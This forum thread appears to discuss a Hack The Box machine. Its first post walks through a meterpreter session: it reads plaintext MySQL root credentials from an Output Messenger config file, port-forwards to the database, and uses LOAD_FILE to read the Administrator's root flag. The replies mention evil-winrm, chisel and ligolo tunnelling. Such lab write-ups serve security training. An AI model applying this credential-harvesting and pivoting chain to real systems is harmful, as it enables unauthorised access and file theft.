[HTBcracker]

credentials leak for mysql

meterpreter > dir
Listing: C:\ProgramData\Output Messenger Server\Temp
====================================================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
100666/rw-rw-rw-  15702539  fil  2024-02-19 16:51:30 +0100  OutputMessengerApache.zip
100666/rw-rw-rw-  25477937  fil  2024-02-19 16:51:52 +0100  OutputMessengerMysql.zip
100666/rw-rw-rw-  3369187  fil  2024-02-19 16:52:02 +0100  OutputWall.zip
100777/rwxrwxrwx  6554576  fil  2024-02-19 16:51:12 +0100  vcredist_x86.exe

~ ls
OutputMessengerMysql.zip  OutputMysql.ini  backup  data  mysql  settings

~ cat OutputMysql.ini
---
[DBCONFIG]
DBUsername=root
DBPassword=ibWijteig5
DBName=outputwall
---

portforward mysql

meterpreter > portfwd add -l 14406 -p 14406 -r 10.129.14.214
[*]Forward TCP relay created: (local) :14406 -> (remote) 10.129.14.214:14406

[*]
connect to mysql

~ mysql -h 127.0.0.1 -P 14406 -u root --skip-ssl -p

Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 4
Server version: 10.1.19-MariaDB mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

[*]
load root file

MariaDB [(none)]> SELECT LOAD_FILE('C:\\Users\\Administrator\\Desktop\\root.txt');
+----------------------------------------------------------+
| LOAD_FILE('C:\\Users\\Administrator\\Desktop\\root.txt') |
+----------------------------------------------------------+
| REDACTED
                      |
+----------------------------------------------------------+
1 row in set (1.674 sec)

[SomeBody1338]

Thanks for sharing this! Awsome work! But defenitely not intended way!

[sssstarlight]

Kinda sad, but It seems not to work anymore, tunneling active, yet no reply from mysql when connecting

[Aner]

Kinda sad, but It seems not to work anymore, tunneling active, yet no reply from mysql  when connecting

me too ... i will try with chisel

[sssstarlight]

Managed to get it? Any luck?

[awwliveyet]

how do you set up msf for it?

---

i am able to login winrm_svc with evil-winrm but ig there's no method to portfwd so how should i login using metasploit

[Aner]

how do you set up msf for it?

---

i am able to login winrm_svc with evil-winrm but ig there's no method to portfwd so how should i login using metasploit

I solve it with ligolo ... got root flag